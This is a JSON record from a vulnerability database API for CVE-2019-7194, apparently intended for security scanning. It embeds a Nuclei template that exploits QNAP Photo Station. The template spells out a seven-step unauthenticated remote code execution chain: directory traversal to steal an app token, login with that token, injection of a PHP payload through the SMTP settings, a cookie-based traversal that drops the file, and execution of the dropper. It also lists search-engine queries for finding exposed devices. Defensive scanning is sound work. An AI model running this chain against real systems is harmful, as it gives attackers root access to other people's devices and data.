{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2019-7194/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2019-7194/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2019-7194/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2019-7194/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2019-7194/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2019-7194"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2019-7194"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2019/CVE-2019-7194.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2019-7194\n\ninfo:\n  name: QNAP Photo Station < 6.0.3 - Remote Code Execution\n  author: x-stp\n  severity: critical\n  description: |\n    QNAP Photo Station versions prior to 6.0.3 contain multiple vulnerabilities that, when chained together, enable unauthenticated remote code execution (RCE).\n  impact: |\n    Unauthenticated attackers can chain multiple vulnerabilities to achieve remote code execution with root privileges, gaining complete control over the QNAP device and access to all stored data.\n  remediation: |\n    Upgrade to QNAP Photo Station version 6.0.3 or later.\n  reference:\n    - https://medium.com/bugbountywriteup/qnap-pre-auth-root-rce-affecting-450k-devices-on-the-internet-d55488d28a05\n  classification:\n    cvss-score: 9.8\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cve-id: CVE-2019-7194\n    cwe-id: CWE-22\n    epss-score: 0.83124\n    epss-percentile: 0.9966\n    cpe: cpe:2.3:a:qnap:photo_station:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    vendor: qnap\n    product: photo_station\n    max-request: 10\n    intrusive: true\n    shodan-query:\n      - content-length:\"580 \"http server 1.0\"\"\n      - http.title:\"photo station\"\n      - http.title:\"qnap\"\n    fofa-query:\n      - title=\"photo station\"\n      - title=\"qnap\"\n    google-query:\n      - intitle:\"photo station\"\n      - intitle:\"qnap\"\n  tags: cve,cve2019,qnap,rce,photostation,unauth,injection,lfi,kev,intrusive,vkev,vuln\n\nvariables:\n  cleanup_payload: \"<?php echo php_uname(); unlink(__FILE__); ?>\"\n  dropper_filename: \"{{to_lower(rand_text_alpha(6))}}\"\n  username: \"{{to_lower(rand_text_alphanumeric(6))}}\"\n  email_account: \"{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com\"\n  email_passwd: \"{{rand_text_alphanumeric(12)}}\"\n\nflow: |\n  http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)\n\nhttp:\n  # Step 1: Set up a fake album slideshow to obtain a usable album_id\n  - raw:\n      - |\n        POST /photo/p/api/album.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        a=setSlideshow&f=qsamplealbum\n\n    extractors:\n      - type: regex\n        name: album_id\n        group: 1\n        internal: true\n        regex:\n          - \"<output>([a-zA-Z0-9]+)</output>\"\n\n  # Step 2: Use album_id to get access_code and PHPSESSID from slideshow.php\n  - raw:\n      - |\n        GET /photo/slideshow.php?album={{album_id}} HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: access_code\n        group: 1\n        regex:\n          - \"encodeURIComponent\\\\('([A-Za-z0-9%]+)'\\\\)\"\n        internal: true\n\n      - type: regex\n        part: header\n        name: phpsessid\n        group: 1\n        regex:\n          - \"PHPSESSID=([a-z0-9]+);\"\n        internal: true\n\n  # Step 3: Use directory traversal to extract application token (app_token)\n  - raw:\n      - |\n        POST /photo/p/api/video.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        a=caption&f=UMGObv&album={{album_id}}&ac={{access_code}}&filename=../../../../../share/Multimedia/.@__thumb/ps.app.token\n\n    extractors:\n      - type: regex\n        name: app_token\n        group: 1\n        regex:\n          - \"([a-f0-9]{32})\"\n        internal: true\n\n  # Step 4: Authenticate using the app_token to get NAS_SID\n  - raw:\n      - |\n        POST /cgi-bin/authLogin.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        app=PHOTO_STATION&auth=1&app_token={{app_token}}\n\n    extractors:\n      - type: regex\n        part: body\n        name: nas_sid\n        group: 1\n        regex:\n          - '<authSid><!\\[CDATA\\[([a-z0-9]+)\\]\\]></authSid>'\n        internal: true\n\n  # Step 5: Inject self-deleting PHP payload via SMTP config\n  - raw:\n      - |\n        POST /cgi-bin/userConfig.cgi?sid={{nas_sid}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n        X-Requested-With: XMLHttpRequest\n\n        func=addPersonalSmtp&provider_idx=0&sender={{cleanup_payload}}&default=0&smtp_server=0.0.0.0&port=25&security=-1&email_account={{email_account}}&email_passwd={{email_passwd}}\n\n  # Step 6: Trigger slideshow with QMS_SID pointing to dropper path\n  - raw:\n      - |\n        GET /photo/slideshow.php?album=qsamplealbum HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: QMS_SID=../../../../../../../../../../mnt/ext/opt/photostation2/{{dropper_filename}}.php; PHPSESSID={{phpsessid}}; NAS_SID={{nas_sid}}; DESKTOP=1;\n\n  # Step 7: Execute the dropper (which deletes the file via unlink after poc request)\n  - raw:\n      - |\n        GET /photo/{{dropper_filename}}.php HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: PHPSESSID={{phpsessid}}; NAS_SID={{nas_sid}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200 && contains(body, 'NASVARS')\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - 'personal_email\\|s:\\d+:\"[^,]*,[^,]*,([^\";]+)'\n# digest: 4a0a004730450221008b713255924526558ea8d2275f75afc3b569daa5efe7ae91798a7847469a5be20220194f2dcba40c2f54cf174f4b7950c7cd67378777eb7ea9f3640e47ee01e82731:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2019-7194"
}